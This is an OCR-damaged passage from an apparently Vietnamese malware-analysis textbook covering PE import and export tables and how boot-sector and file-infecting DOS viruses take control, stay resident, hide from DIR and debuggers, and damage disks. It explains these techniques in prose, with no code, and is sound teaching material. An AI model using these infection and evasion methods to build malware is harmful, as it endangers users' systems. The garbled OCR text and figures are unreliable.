thong qua sb thw tu, né khong c6 danh sach trong ca 2 mang ENT va
EOT (n6 khong c6 tén), nhitng ham ma khong cé tén thi dugc exported
thong qua so tht ty.

Export Forwarding cdc ham duogc export khong phai 1a boi 1 dll
ban ddu ma thuc t& cac ham nay lai nam trong mot DIl khac. Trong hé
diéu hanh WinNT, WinXP...ham trong kernel.dll va heapalloc dugc
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fowarded tir ham RtlAllocHeap dugc exported boi ntdll.dll. File Ntdll.dll
cling chtra cac API tuong tac truc tiép v6i kernel windows. Forwading
duoc thuc hién tai thoi diém lién két thong qua mot cau 1énh dic biét
trong .def file.

Forwarding 1a ki thuat ma Microsoft sir dung dé dua ra mot tap hop
API thong dung dé che diu su khac biét nén tang véi cac hé diéu hanh
khac.
2.2.2.6 Import Section
1.RVA

Mot dia chi RVA duoc sir dung dé mo ta mot offset trén bd nhd, néu
nhu khong dugce xac dinh ImageBase. RVA khong phai file offset.

Pé tinh dugc file offset, dau tién ta xac dinh RVA d6 thudc section nao
bang cong thic: Virtual offset+ virtual size>= RVA>= Virtual offset.

File offset= RVA- V.offset+ R.offset
2. Import section

Import section (.idata) bao gom thong tin vé tat ca cac ham duoc
imported bai file thuc thi tir cac file DIl. Phin quan trong nhit cia
section nay la ImportDirectory va ImportAddressTable.

Import Directory 1a mét mang cla cdu  trac
IMAGE_IMPORT DESCRIPTION. Mbi ciu trac gom 20 bytes va chia
thong tin vé dll ma PE file cta ching ta import cac ham vao. Cung véi
Export Directory, ta ¢ thé tim thiy Import Directory bang cach quan sat
Data Directory(signature+80).

Trong cdu trac d6 thanh phan OriginalFirstThunk ( DWORD) la
mdt RVA tré tdi mot mang cac cau traic IMAGE THUNK_DATA ( day
la ciing 14 RVA tré t6i ham duoc import, mang nay khong thay dbi, day
la mot truong quan trong).

Va thanh phan quan trong tiép theo 1a FirstThunk 1a mdt mang
RVA tro t6i cdu tric cia IMAGE THUNK DATA( mét bang sao cia
mang dau tién). Mang nay bi thay doi khi loader load PE file s& viét lai
cac dia chi that ctua céac function dugc import.

Trong file trén dia IMAGE THUNK DATA chira s6 thir tu cua

imported function hodac 1la mot RVA té1 mot cAdu tric cua
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IMAGE _IMPORT BY NAME. Mot khi d3 dugc nap mdt cu tric s&
trd tai FristThunk dugc viét dé 1én béng dia chi cua cadc ham import
function, vi€c nay tré thanh Import Address Table.

Trong mdi cdu tric cia IMAGE _IMPORT BY NAME, gom c6 2
thanh phan chinh:

Hint chira chi muc( index) bén trong bang EAT cua file DIl cac
ham hién c6 trong do.

Namel bao goém tén cua imported fuction. Tén la 1 null-
terminated ASCII string. Kich thudc cia Namel dugc dinh nghia la 1
byte, nhung trén thuc té truong nay 1a mot truong co kich thude thay doi.

Nhitng thanh phan quan trong nhét 1a tén imported DIl va céc
mang cau tric IMAGE_THUNK_DATA. Mdi ciu tric ciia n6 tuong tng
voi mdt import function tor DIl. Cic mang dugc tréd té1 boi
OriginalFristThunk va FristThunk chay song song va duoc két thic bang
mot Null DWORD.

Overwritten by PE loader
+Ima;e_ IMAGE_IMPORT BY NAME  Image_ 4 Adessal
Thunk_ :_: Thurk_ Gethless-
Data # Data -age
lTTgE_ GetMeszage Image_ Adress of
LS Th Load|
o —> e | e
IMAGE_IMPORT DESCRIPTOR | ™% Loadizon Imags_ Aaress o
Thusk_ Thunk,_ Translate:
OrighalFirstThunk ~ —1 2 7 W Data | Message
Imaje_ TranslateMessage Image_ Adrass of
Thunk_ Thunk_ Iz ndo-
TimeDateStanmp Data 95 bata s
IMPORT IMPORT
ForwarderChan NAME TABLE ISWindovie ADORESS
TABLE
Name1 "ISERIOLL"
FirstThunk
Additional
MAGE_INFORT_DESCRIPTORS
for other DLLs, as necessary

Hinh 2-26: Cau trac Import Table
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Ngoai cac cong cu xem duge cau tric cua PE header, nhom ciing c6 san
pham nho dé doc hiéu PE, load 1 file bat ki vao va quan sat thanh phan
bang import table trén chuwong trinh nhém viét dung dé doc:

r Il
CharFile | C:\Uzershlinhh\Dezkioptkeygen.exe |

|
Filz Header I Optional Header I Directaries I Section Header  Import T able I

DLLname | M amel | Firt thiank. | OriginalFirstThunk | For
000020k 4
kermel32 di 00002248 onaozoos oooozoce Qe
| comctl 32 dil oooozzcc onaozooo oooozoco Qe |
I A | 1] | 3

|3
e

T hunk R, | Thunkvalue | Hirt | Apitd arne

DO00Z0E 4 000021.AE 000001 24 Loadlcond

DO0020ES 000021 B2, 000001 90 beszagebond
DO0020EC 000021 C8 000001 B2 OpenClipboard 1
DO0020F0 00002108 000001 Do SendDlglternt essag) =
DO0020F 4 00002140 000007 20 LoadCursond,
DO0020FS 000021FE 000001 Fi 5 etClipboardD ata
DO0020FC 0oo0z21 2 000001 F3 S etCursor

00002100 0000z21E 000001 Fe S etDlgltemT exks,
00002104 00002230 00000210 5 efwfindowLongs
00002108 000021 5E 000000F 4 GetDlglternT sxtd
000021 0C 00002150 000000F2 GietDlgltern 1
I:I'lll'll'l".\'l 1M I'll'll'll'l"'.\:r[Td (nnlnininlnt N | CowAlii=lm - -

Hinh 2-27: Quan sat Import Table v&i chuong trinh PE file

Sinh vién cé thé tham khdo thém cdc thong tin vé PE file trén mét sé
trang nhu sau:

http://msdn.microsoft.com/en-
us/library/windows/hardware/gg463119.aspx
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2.3 Co ché hoat dong ciia mé doc

Nhu d3 ndi tin hoc phat trién ngdy cang manh mé thi virus ciing phat trién
ngay cang da dang cd thé ndi khdng c6 loai virus ndo 1a hoan toan gidng
nhau. Tuy nhién cac virus ludn c6 mét sé dic diém chung nhat dinh dé dua
vao d6 nguoi ta cd thé phan biét n6. C6 nhiéu cach phan loai khac nhau, phan
loai theo ddi twong 14y nhidm thi virus gdm hai loai:

- B-virus: Virus chi tan cong Ién Master Boot hay Boot Sector.

- F-virus: Virus chi tin cong Ién céc file kha thi.
Mac du vay, céc,h phan chia nay ciing khong han la chinh xac. ,Ng0ai 1& van ¢
cac virus vura tan cong lIén Master Boot (Boot Sector) vua tan cong Ién file
kha thi.

B-virus
Phan loai B-virus.

Pau tién hiy xem qua trinh khoi dong ciia Qua trinh khai dong may tinh xay
ra nhu sau d6i voi hé diéu hanh Windows.
Budc 1: Power: Bat may tinh l1én
Budc 2: BIOS: BIOS kiém tra céc thiét bj két ndi, thuc hién qua trinh POST
Bude 3: MBR : MBR hay Master Boot Record s& kiém tra cac bootloader
hodc cac partition trang thai active. Néu bootloader c6 thi s& vao phan d6 va
tiép tuc, con néu khong thi chuyén dén phan ving dugc chi rd active.
Buoc 4:Active Partition BR: Bootloader ctia phan vung active sé dugc kich
hoat va nhan quyén diéu khién
Budc 5 MS WINDOWS: Pbi v6i hé diéu hanh Windows s& c6 NTLDR (NT
Boot Loader) trong hé théng phan ving dugc load va trao quyén diéu khién
[SYSPART:\ntldr]
Bude 6: NTLDR doc file ‘boot.ini’ trong 6 C , néu c6 nhiéu hon 1 hé diéu
hanh thi s& c6 nhiéu hién thi trong file nay, sau d6 khoi dong vao 1 hé diéu
hanh nguoi dung chon.[SYSPART:\boot.ini]
Budc 7 : File NTDETECT tir hé théng phan ving patition s& dugc load , file
nay sé tim kiém cac chuong trinh.
Budc 8: tiép theo sé& load file kernel cia Windows 1a NTOSKRNL, HAL
(Hardware Abstraction Layer) tur phan vung boot
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[%/systemroot%)\system32\ntoskrnl.exe]
[%6systemroot%\system32\config\system]

Budc 9: Sau do tiép theo SYSTEM Hive duoc tai 1én va toan bd cac trinh
diéu khién khoi dong ciing duoc tai 1én.
[%systemroot%\system32\config\system]

Budc 10: Sau khi boot loader (NTLOADER) chuyén diéu khién dén Kernel
(NTOSKRNL)

Budc 11: Kernel sé tai logo hién thi Windows 1én va khoi dong cac hé thong
nho hon.

Budc 12: Hé thong s& load SMSS (Session Manager Subsystem Service) voi
d6 wu tién 1a 11 va chuyén diéu khién téi né.
[%6systemroot%\system32\smss.exe]

Budc 13: SMSS khoi tao pagefile va cac thong tin vé registry hives.

Budc 14: Khoi dong windows kernel 32bit la Win32k.sys
[systemroot%\system32\Win32k.sys]

Budc 15: Khoi tao CSRSS (Client Server Runtime Sub system) véi d§ uu tién
la 13

[%6systemroot%\system32\csrss.exe]

Budc 16: Sau khi khéi dong WINLOGON véi d6 wu tién 1a 13 va chuyén diéu
khién cho winlogon.exe. [%systemroot%\system32\winlogon.exe]

Budc 17: WINLOGON sau do s€ khéi dong LSASS (Local Security
Authorization Subsystem Service ) voi d uu tién 1a 9
[Y6systemroot%\system32\lsass.exe]

Budc 18: WINLOGON sau do s€ tai MSGINA (Graphical user Identification
aNd Authentication) , cai nay sé& hién thi t&i ngudi dung.
[Y6systemroot%\system32\msgina.dil]

Budc 19: Tiép theo hé thong sé& tai tiép SERVICES (Services Controller) voi
dong uu tién 1a .

[%6systemroot%\system32\services.exe]

Budc 20: Khi ngudi dung ding nhap vao ,SERVICES gianh iy quyén diéu

khién va tai toan bg cac dich vu can thiét cho nguoi dung.
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SYSPART: C hoic C driver (phan ving hé thong)

BOOTPART = phan vung khoi dong

%systemroot% = BOOTPART:\WINDOWS

Default Priority (Windows ) = (Normal) 8 [1-15]

Toan bd céc tién trinh dugc khoi dong trong qué trinh Windows khoi dong sé
do user SYSTEM lam chu sé hitu tién trinh.

2.3.1 Qua trinh khéi dong may tinh

Nhu chung ta di biét, sau qué trinh POST, sector dau tién trén dia A hodc dia
C duoc doc vao ving nhé tai 0: 7C00, va quyén diéu khién duogc trao cho
doan ma trong sector khai dong nay. B-virus hoat dong bang cach thay thé
doan ma chuan trong sector khai dong nay bang doan ma cia né dé chiém
quyén diéu khién, sau khi da cai dit xong méi doc sector khai dong chuan
duoc virus cat gitt & dau d6 vao 0:7C00 va tra lai quyén diéu khién cho doan
ma chuan nay. Viéc cat giir sector khoi dong tai vi tri ndo trén dia tuy thuoc
loai dia va cach giai quyét caa ting loai virus. Doi véi dia cing, thong thuong
n6 duoc cat gitt & dau do trong Side 0, Cylinder 0 vi trong ca track nay, DOS
chi str dung sector dau tién cho bang Partition. Trén dia mém, vi tri cat giir s&
phtrc tap hon vi moi chd déu c6 kha ning bi ghi dé thong tin. Mot s6 huéng
sau day da dugc cac virus ap dung:

- Sir dung sector ¢ cudi Root Directory, vi n6 thudng it duoc sir dung.

- Sir dung cac sector cudi cung trén dia, vi khi phan b6 ving trong cho
file, DOS tim vung trong tir nho dén 16n cho nén ving nay thuong it
duoc sur dung.

- Ghi vao ving tréng trén dia, danh ddu trong bang FAT ving nay a
vung bi hong dé DOS khong st dung cap phat nita. Ccah lam nay an
toan hon céc cach lam trén day.

- Format thém track va ghi vao track vira dugc Format thém.

Tuy thudc vao do 1on cua doan ma virus ma B-virus dugc chia thanh hai loai:
2.3.1.1 SB-virus

Chuong trinh ctia SB-virus chi chiém dung mét sector khai dong, céc tac vu

cua SB-virus khéng nhiéu va tuwong doi don gian. Hién nay so cac virus loai

nay thuong it gap va cé I€ chi la cac virus do trong nudc "san xuat”.
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2.3.1.2 DB-virus

Pay la nhing loai virus ma doan ma cta nd 16n hon 512 byte (thudng thay).
Vi thé ma chuong trinh virus duoc chia thanh hai phan:

- Phan dau virus: Puoc cai dit trong sector khai dong dé chiém quyén
diéu hién khi quyén diéu khién duogc trao cho sector khai dong nay.
Nhiém vu duy nhat cta phan dau 1a: tai tiép phan than caa virus vao
vling nhé va trao quyén diéu khién cho phan than d6. Vi nhiém vu don
gian nhu vay nén phan dau cua virus thuodng rat ngin, va cang ngan
cang tbt vi cang ngan thi sy khac biét gitra sector khéi dong chuan va
sector khdi dong da bi nhiém virus cang it, giam kha ning bi nghi ngo.

- Phan than virus: L& phan chuong trinh chinh cia virus. Sau khi duoc
phan dau tai vao ving nhé va trao quyén, phan than nay s& tién hanh
cac tac vu cua minh, sau khi tién hanh xong mai doc sector khoi dong
chuan vao ving nhé va trao quyén cho né dé may tinh 1am viéc mot
cach binh thuong nhu chua co6 gi xay ra ca.

2.3.2 Mt s6 ky thuit co ban caa B-virus

DU 1a SB-virus hay DB-virus, nhung dé ton tai va lay lan, chiing déu c6 mot
SO cac k¥ thuat co ban nhu sau:

2.3.2.1 Ky thudt kiém tra tinh duy nhdt

Virus phai ton tai trong bo nhé ciing nhu trén dia, song su ton tai quéa nhiéu
ban sao cta chinh né trén dia va trong bd nhd sé chi lam cham qua trinh Boot
may, cling nhu chiém qua nhiéu ving nhé anh huéng téi viéc tai va thi hanh
cac chuong trinh khac ddng thoi ciing 1am giam tdc do truy xuat dia. Chinh vi
thé, ky thuat nay l1a mot yéu cau nghiém ngat véi B-virus.Viéc kiém tra trén
dia c6 hai yéu t6 anh huong:

- Tha nhét 1a thoi gian kiém tra: Néu moi tic vu doc/ghi dia déu phai
Kiém tra dia thi thoi gian truy xuat sé& bi ting gap do6i, lam giam téc do
truy Xuat ciing nhu gia taing mdi nghi ngo. Ddi véi yéu cau nay, cac
virus ap dung mot sé ky thuat sau: Giam sé lan kiém tra bang cach chi
kiém tra trong truong hop thay doi truy xuat tir 6 dia ndy sang 6 dia
khac, chi kiém tra trong truong hop bang FAT trén dia duoc doc vao.

- Thu hai la ky thuat kiém tra: Hau hét cac virus déu kiém tra bang gia tri
tir khod. Moi virus sé tao cho minh mot gia tri dic biét tai mot vi tri xac
dinh trén dia, viéc kiém tra duoc tién hanh biang cach doc Boot record
va kiém tra gia tri cua tir khod ndy. Ky thuat nay gap tré ngai vi s6
luong B-virus ngay mot dong dao, ma vi tri trén Boot Record thi cé
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han. Cach khic phuc hién nay cua céc virus 13 ting s lwgng ma lénh
can so sanh dé lam giam kha nang trang hop ngau nhién. Bé kiém tra
su ton tai cia minh trong bo nhd, cac virus dd ap dung cac ky thuat sau:
Pon gian nhat 1a kiém tra gia tri Key value tai mot vi tri xac dinh trén
ving nhé cao, ngodi ra mot ky thuat khiac duoc ap dung d6i véi cac
virus chiém ngat Int 21 cua DOS la yéu cau thuc hién mot chirc nang
dic biét khong cd trong ngét nay. Néu cd bao 16i dugc bat 18n thi trong
bo nhd chua c6 virus, nguoc lai néu virus da luu tra trong ving nhd thi
gia tri tra lai (trong thanh ghi AX chang han) la mot gia tri xac dinh nao
do.
2.3.2.2 Ky thudt luu tru

Sau khi thuc hién xong chuong trinh POST, gia tri tong sé ving nhé vira
duoc Test s& dugce luu vao ving BIOS Data ¢ dia chi 0:413h. Khi hé diéu
hanh nhan quyén diéu khién, né s& coi viing nhé ma nd kiém soat 1 gia tri
trong dia chi nay. Vi vay dé luu trd, moi B-virus déu ap dung k¥ thuat sau
day: Sau khi tai phan luu tr caa minh 1én viing nhé cao, né s& giam gia tri
viing nhé do DOS quan ly tai 0:413h di mot luong ding bang kich thudc cua
virus. Tuy nhién néu khong kiém tra tot sy c6 mit trong viing nhé, khi bi Boot
mém lién tuc, gié tri tong s6 viing nhé ndy sé bi giam nhiéu lan, anh huong téi
viéc thuc hién cua cac chuong trinh sau ndy. Chinh vi thé, cac virus dugc thiét
ké tot phai kiém tra sy tén tai cia minh trong bo nhé, néu da c6 mat trong bo
nh¢é thi khdng giam dung lugng vung nhé nira.

2.3.2.2 Ky thugt lay lan

Poan méa thyc hién nhiém vu lay lan la doan ma quan trong trong chuong
trinh virus. Bé dam bao viéc lay lan, virus khéng ché ngat quan trong nhat
trong viéc doc/ghi viing hé thong: d6 1a ngat 13h, tuy nhién dé dam bao tdc do
truy xuét dia, chi cac chtic ning 2 va 3 (doc/ghi) 1a dan toi viéc lay lan. Viéc
lay lan bang cach doc Boot Sector (Master Boot) Ién va kiém tra xem di bj
lay chua (k¥ thuat kiém tra da noi o trén). Néu sector khai dong do chua bi
nhiém thi virus s& tao mot sector khoi dong méi véi cac tham sé tuwong tng
ctia doan ma virus roi ghi trd lai vao vi tri caa né trén dia. Con sector khoi
dong vira doc 1én cung véi than cua virus (loai DB-virus) sé duoc ghi vao
vung xac dinh trén dia. Ngoai ra mot sé virus con chiém ngat 21 cua DOS dé
lay nhidm va pha hoai trén céc file ma ngat 21 1am viéc. Viéc xay dung sector
khoi dong c6 doan mé cuaa virus phai dam bao cac ky thuat sau day:

- Sector khoi dong bi nhidm phai con chira cac tham sé dia phuc vu cho
qué trinh truy xuat dia,d6 la bang tham s6 BPB cua Boot record hay
bang phan chuwong trong truong hop Master boot. Viéc khéng bao toan
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s& dan dén viéc virus mat quyén diéu khién hoic khong thé kiém soat
duogc dia néu virus khdng c6 mat trong méi truong.

Sy an toan cua sector khoi dong nguyén thé va doan than cua virus
cling phai dugc dat 1én hang dau. Cac ky thuat ve vi tri cat giau ching
ta cling da phan tich & cac phan trén.

2.3.2.3 Ky thudt che ddu

K§ thuat nay ra doi kha muon vé sau nay, do khuynh huéng chdng lai su phat
hién ctia nguoi sir dung va nhiing lap trinh vién dbi véi virus. Vi kich thudc
cua virus kha nho bé cho nén cac laptrinh vién hoan toan co thé do timg budc
xem co ché cua virus hoat déng nhu thé nao, cho nén céc virus tim moi cach
I3t 160 dé chong lai su theo dbi cua cé4c lap trinh vién. Cac virus thudng ap
dung maot s6 ki thuat sau day:

C6 tinh viét cac 1énh mot cach rac rdi nhu dat Stack vao cac ving nhé
nguy hiém, chiém va xo0a cé4c ngat, thay doi mot céch lat 1éo cac thanh
ghi phan doan dé nguoi do khdng biét dit liéu lay tir dau, thay doi cac
gia tri ctia c4c lénh phia sau dé nguoi st dung kho theo dai.

M3 hoa ngay chinh chuong trinh cia minh dé nguoi s dung khdng
phat hién ra quy luat, cing nhu khong thay mét cach rbé rang ngay su
hoat dong cua virus.

Nguy trang: Céch thu nhat la doan mé& cai vao sector khai dong cang
ngan cang t6t va cang gidng sector khoi dong cang tot. Tuy vay cach
thir hai van dugc nhiéu virus ap dung: Khi may dang ndm trong quyen
chi phdi cua virus, moi yéu cau doc/ghi Boot sector (Master boot) déu
duoc virus tra vé mot ban chuan: ban truéce khi bi virus 1ay. Diéu nay
danh lira nguoi sir dung va cac chuong trinh chéng virus khong duoc
thiét ké t6t néu may hién dang chiu sy chi phdi cua virus.

2.3.2.4 Ky thudt pha hogi

P4 14 virus thi bao gio ciing c6 tinh pha hoai. C6 thé pha hoai & muc dua cho
vui, cling ¢6 thé la pha hoai & muc dd nghiém trong, gay mat mat va dinh tré
doi voi thong tin trén dia.

Can ctr vao thoi diém phé hoai, c6 thé chia ra thanh hai loai:

Loai dinh thoi: Loai nay luu gitt mot gia tri, gia tri ndy c6 thé 1a ngay
gio, s6 1an lay nhiém, sb gio may da chay, ... Néu gia tri nay vuot qua
mot con s6 cho phép, nd s& tién hanh pha hoai. Loai nay thuong nguy
hiém vi chding chi pha hoai mot lan.
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- Loai lién tuc: Sau khi bi lay nhidm va lién tuc, virus tién hanh phé hoai,
song do tinh lién tuc nay, cac hoat dong pha hoai cua n6 khdng mang
tinh nghiém trong, chu yéu la dua cho vui.

File chua phan manh trudec khi bi tan céng

File: A File: B

Page:1 Page: 2 Page: 3 Page: 1 Page: 2 Page: 3

A A
\ J File 43 bi phdn manh do sw'tin céng cla Virut ﬁ
Page:l Page: 3 Page: 1 Page: 3 Page: 2 Page:2
File: A File: B File: B File: A File: B File: A

...................................

Hinh 2-28 Pha hoai lam file phan manh
2.3.2.5 Ky thugt danh quyén diéu khuyén cia B-virus

Khi méy tinh bat dau khoi dong (Power on), cac thanh ghi phan doan déu
duoc dit vé OFFFFh,con moi thanh ghi khac déu dugc dit vé 0. Nhu vay,
quyén diéu khién ban dau duogc trao cho doan ma tai OFFFFh: Oh, doan ma
nay thuc ra chi 12 1énh nhay JMP FAR dén mot doan chuong trinh trong
ROM, doan chuong trinh nay thuc hién qué trinh POST (Power On Self Test -
Tu kiém tra khi khoi dong).

Qué trinh POST s& lan luot kiém tra céc thanh ghi, kiém tra b nhg, khai tao
cac Chip diéu khién DMA, bo diéu khién ngat, bo diéu khién dia... Sau d6 nd
s& do tim cac Card thiét bj gan thém dé trao quyén diéu khién cho ching tu
khoi tao roi lay lai quyén diéu khién. Cha y rong day 1a doan chuong trinh
trong ROM (Read Only Memory) nén khéng thé stra di, ciing nhu khong thé
chen thém mot doan méa nao khac.

Sau qué trinh POST, doan chuong trinh trong ROM tién hanh doc Boot Sector
trén dia A hoac Master Boot trén dia ciing vao RAM (Random Acess
Memory) tai dia chi 0:7C00h va trao quyén diéu khién cho doan ma d6 bang
lénh JMP FAR 0:7C00h. Day la chd ma B-virus loi dung dé tan cong vao
Boot Sector (Master Boot), nghia 1a no s€ thay Boot Sector (Master Boot)
chuan bang doan mé virus, vi thé quyén diéu khién dugc trao cho virus, n6 s&
tién hanh cac hoat dong cua minh trude, roi sau d6 méi tién hanh céc thao tac
nhu théng thuong: Doc Boot Sector (Master Boot) chuan ma né cat gidu ¢
dau d6 vao 0:7C00h roi trao quyén diéu khién cho doan ma chuan nay, va
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ngudi st dung c¢d cam giac rong may tinh cia minh van hoat dong binh
thuong.

2.3.3 Mot sb ky thuit co ban ciia F-virus

So véi B-virus thi sb lugng F-virus dong dao hon nhiéu, c6 I& do céc tac vu
dia voi sy hd trg caa Int 21 d3 tro nén cuc ky dé dang va thoai mai, d6 1a diéu
kién phat trién cho cac F-virus. Thudng thi cac F-virus chi 12y lan trén céc file
kha thi (c6 dudi .COM hoac .EXE), tuy nhién mot nguyén tic ma virus phai
tuan tha 1a: Khi thi hanh mot file kha thi bi 1ay nhiém, quyén diéu khién phai
ndém trong tay virus trudc khi virus tra no lai cho file bi nhiém, va khi file
nhan lai quyén diéu khién, tat ca moi di liéu cua file phai dugc bao toan. Doi
véi F-virus, c6 mot sb ky thuat dugc néu ra o day:

Ky thudt lay lan
Cac F-virus chu yéu sir dung hai ki thuat: thém vao dau va thém vao cudi
2.3.3.1 Thém vao ddu file

Thong thuong, phuong phap nay chi &p dung cho cac file .COM, tac la
dau vao caa chuong trinh ludn ludn tai PSP:100h. Loi dung dau vao cb dinh,
virus chén doan ma cua chuong trinh virus vao dau chuong trinh d6i tuong,
day toan bo chuong trinh ddi twong xudng phia dudi. Cach nay c6 mot nhuoc
diém 1a do dau vao cb dinh cta chuong trinh .COM 1a PSP:100, cho nén truéc
khi tra lai quyén diéu khién cho chwong trinh, phai day lai todn bo chuong
trinh 18n bat dau tir offset 100h. Cach lay nay gy kho khin cho nhiing ngudi
khdi phuc vi phai doc toan b file vao viing nhé rdi mai tién hanh ghi lai.

2.3.3.2 Thém vao cuéi file

Khac véi cach lay lan ¢ trén, trong phuong phap nay, doan ma cua virus sé
dugc gan vao sau cia chuong trinh d6i twong. Phuong phap nay duoc thiy
trén hau hét cac loai virus vi pham vi lay lan cua né rong rii hon phuong phap
trén. Do than cua virus khong ndém ding dau vao cia chuong trinh, cho nén
dé chiém quyeén diéu khién, phai thuc hién ky thuat sau day:

Déi voi file .COM: Thay cac byte dau tién cia chuong trinh (dau vao) bang
mot 1énh nhay JMP, chuyén diéu khién dén doan md cua virus. E9 xx Xx
JMP Entry virus.

Déi véi file .EXE: Chi can dinh vi lai hé théng céc thanh ghi SS, SP, CS, IP
trong Exe Header dé trao quyén diéu khién cho phan ma virus.
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Trwée khinhiém Sau khi nhiém

( D)
.EXE File .EXE File
File Header File Header
.exe .exe
E ............. IP ............. i )
“eeeresd Start of Program . J(daber > Start of Program /&
File sach : : File d3
End of Program End of Program nhiém Virut
Il A Virus Jump €= +fe- i

Hinh 2-29 Lay vdi file .EXE

Ngoai hai k¥ thuat 1ay lan cha yéu trén, c6 mét sé it cac virus sa dung mot s6
cac k¥ thuat dac biét khac nhu ma hoa phan ma caa chuong trinh virus trudc
khi ghép chung vao file dé nguy trang, hoac tham chi thay thé mot s6 doan ma
ngdn trong file d6i tugng bang cac doan Ma cua virus, gy kho khin cho qua
trinh khéi phuc. Khi tién hanh lay lan trén file, doi véi cac file duoc dat cac
thugc tinh Sys (hé théng), Read Only (chi doc), Hidden (an), phai tién hanh
doi lai cac thuoc tinh do dé cd thé truy nhap, ngoai ra viéc truy nhap ciing
thay di lai ngay gio cap nhat cua file, vi thé hau hét cac virus déu luu lai
thudc tinh, ngay gio cap nhat caa file dé sau khi 18y nhidm sé tra lai y nguyén
thudc tinh va ngay gio cap nhat ban dau cta n6.Ngoai ra, viéc ¢d gang ghi lén
dia mém c6 dan nhan bao vé ciing tao ra dong théng bao 15i cia DOS: Retry -
Aboart - Ignored, néu khong xur Iy tét thi dé bi nguoi sir dung phét hién ra sy
c6 mat caa virus. Li kiéu nay dugc DOS kiém soat bang ngat 24h, cho nén
cac virus mudn tranh cac thong béo kiéu nay cua DOS khi tién hanh lay lan
phai thay ngét 24h caa DOS trudc khi tién hanh 14y lan rdi sau d6 hoan tra.

2.3.3.3 Ky thugt dam bdo tinh tén tai duy nhat

Ciing giéng nhu B-virus, mot yéu cau nghiém ngit dit ra d6i voi F-virus l1a
tinh ton tai duy nhat caa minh trong bo nhd ciing nhu trén file. Trong vung
nhg, thong thuong cac F-virus su dung hai ky thuat chinh:

Tha nhét 1a tao thém chirc ning cho DOS, bang céach sir dung mot chic
nang con nao do trong d6 dit chic niang 16n hon chire ning cao nhat ma
DOS cd. Bé kiém tra chi can goi chirc ning nay, gia tri tra lai trong
thanh ghi quyét dinh sy ton tai cua virus trong bo nhd hay chua.
Céch thir hai 14 so sénh motdoan ma trong viing nhé an dinh véi doan ma
cta virus, néu co su chénh léch thi c6 nghia 1a virus chua co6 mit trong
vling nhé va sé& tién hanh lay lan. Trén file, c6 thé c6 cac cach kiém tra
nhu kiém tra bang test logic nao d6 véi cac thong tin caa Entry trong
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thu muc cua file nay. Cach nay khong dam bao tinh chinh xac tuyét ddi
song néu thiét ké tét thi kha ning trang lap ciing han ché, hau nhu khéng
c6, ngodi ra mot vu diém 1 toc thuc hién kiém tra rat nhanh. Ngoai ra co
thé kiém tra bang cach do mot doan ma dic trung (key value) ctia virus
tai vi tri 4n dinh ndo d6 trén file, vi du trén cc byte cudi cling cua file.

2.3.3.4 Ky thudt luu tri

Pay 1a mot ky thuat kho khan, 1y do 1a DOS chi cung cip chiic ning
thuong tri cho chuong trinh, nghia 1a chi cho phép ca chuong trinh
thuong trd. Vi vay néu st dung chirc ning ctia DOS, chuong trinh virus
muén thuong trd thi ca file dbi tugng ciing phai thuong tra, ma diéu nay
thi khong thé duoc néu kich thudc cua file doi tugng qua 16n. Chinh vi ly
do trén, hau hét cac chuong trinh virus mudn thuong tra déu phai thao
tac qua mat DOS trén chudi MCB bang phuong phép "thil cong". Cin ctr
Vvao viéc thuong tra dugc thuc hién trude hay sau khi chuong trinh ddi
tuong thi hanh, c6 thé chia ky thuat thuong trd thanh hai nhom:

2.3.3.5 Thuwong tri trwéc khi trd quyén diéu khién

Nhu d3 néi ¢ trén, DOS khong cung cap mét chire nang nao cho kiéu
thuong tra nay, cho nén chuong trinh virus phai ty thu xép. Cac cach sau
day da dugc virus dung dén:

- Thao tac trén MCB dé tdch mot khéi ving nhé ra khoi quyén diéu
khién cua DOS, roi dung vung nay dé chira chuong trinh virus.

- Tu dinh vi vi tri trong bd nhd dé tai phan thuong trd cua virus vao,
thuong thi cac virus chon & ving nhé cao, phia dudi phan tam tri cua
file command.com dé tranh bi ghi d¢ khi hé thong tai lai
command.com. Vi khong cap phat bo nhé cho phan chuong trinh virus
dang thuong tr, cho nén command.com hoan toan c6 quyén cap phat
vung nhé do6 cho cac chuong trinh khac, nghia la chuong trinh thuong
trd cta virus phai chap nhan sy mat mat do may rui.

- Thuong tri bang chtc ning thuong tri 31h: Day 1a mot ky thuat phic
tap, tién trinh can thyuc hién dugc mo ta nhu sau: Khi chuong trinh virus
duoc trao quyén, nd s& tao ra mét MCB dugc khai bao 1a phan ti trung
gian trong chudi MCB dé chtra chuong trinh virus, sau d6 lai tao tiép
moét MCB méi dé cho chwong trinh bi nhiém bing cach doi chuong
trinh xubng ving méi nay. Bé thay d6i PSP ma DOS dang luu giit
thanh PSP ma chuong trinh virus tao ra cho chuwong trinh déi tuong,
phai sir dung chire ning 50h cua ngat 21h.
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2.3.3.6 Thuong tri sau khi doat \gi quyén diéu khién

Chuong trinh virus 1dy tén chuong trinh dang thi hanh trong méi truong
cia DOS, rdi nd thi hanh ngay chinh ban than minh. Sau khi thi hanh
xong, quyén diéu khién lai dugc tra vé cho virus, va khi d6 n6é mdi tién
hanh thudng trd mot cach binh thuong bang chire ning 31h cua ngat 21h.

2.3.3.7 Ky thudt che ddu va gay nhiéu

Mot nhuoc diém khdng tranh khoi 1a file ddi twong bi 18y nhiém virus s&
bi tang kich thudc. Mot sé virus nguy trang bang cach khi st dung chuc
ning DIR cua DOS, virus chi phéi chirc nang tim kiém file (chirc ning
11h va 12h cua ngat 21h) dé giam kich thuéc cua file bi lay nhiém
xuéng, vi thé khi virus dang chi phdi may tinh, néu st dung lénh DIR
cia DOS, hoic cac lénh sir dung chitc ning tim kiém file & trén dé c6
thong tin vé entry trong bang thu muc, thi thay kich thuéc file bi lay
nhiém van bang kich thuéc cua file ban dau, diéu nay danh ltra nguoi str
dung vé sy trong sach cua file nay.

Mot sb virus con gay nhidu bang cach ma hoa phan 16n chuong trinh
virus, chi khi nao vao vung nhd, chuong trinh méi duoc giai ma nguoc
lai. Mot s6 virus anti-debug bang céch chiém ngat 1 va ngat 3. Boi vi cac
chuong trinh debug thuc chat phai ding ngat 1 va ngat 3 dé thi hanh
ting budc mot, cho nén khi virus chiém céc ngit nay roi ma nguoi 13p
trinh dung debug dé theo ddi virus thi két qua khong luong trude dugc.

2.3.3.8 Ky thudt phéa hoai

Thong thuong, cac F-virus cling sir dung cach thac va ky thuat pha hoai
giong nhu B-virus. Cé thé pha hoai mot cach dinh thoi, lién tuc hoac
ngau nhién. Boi tuong pha hoai c6 thé 1a man hinh, loa, dia,...

2.3.3.9 Ky thugt danh quyén diéu khuyén cia F-virus

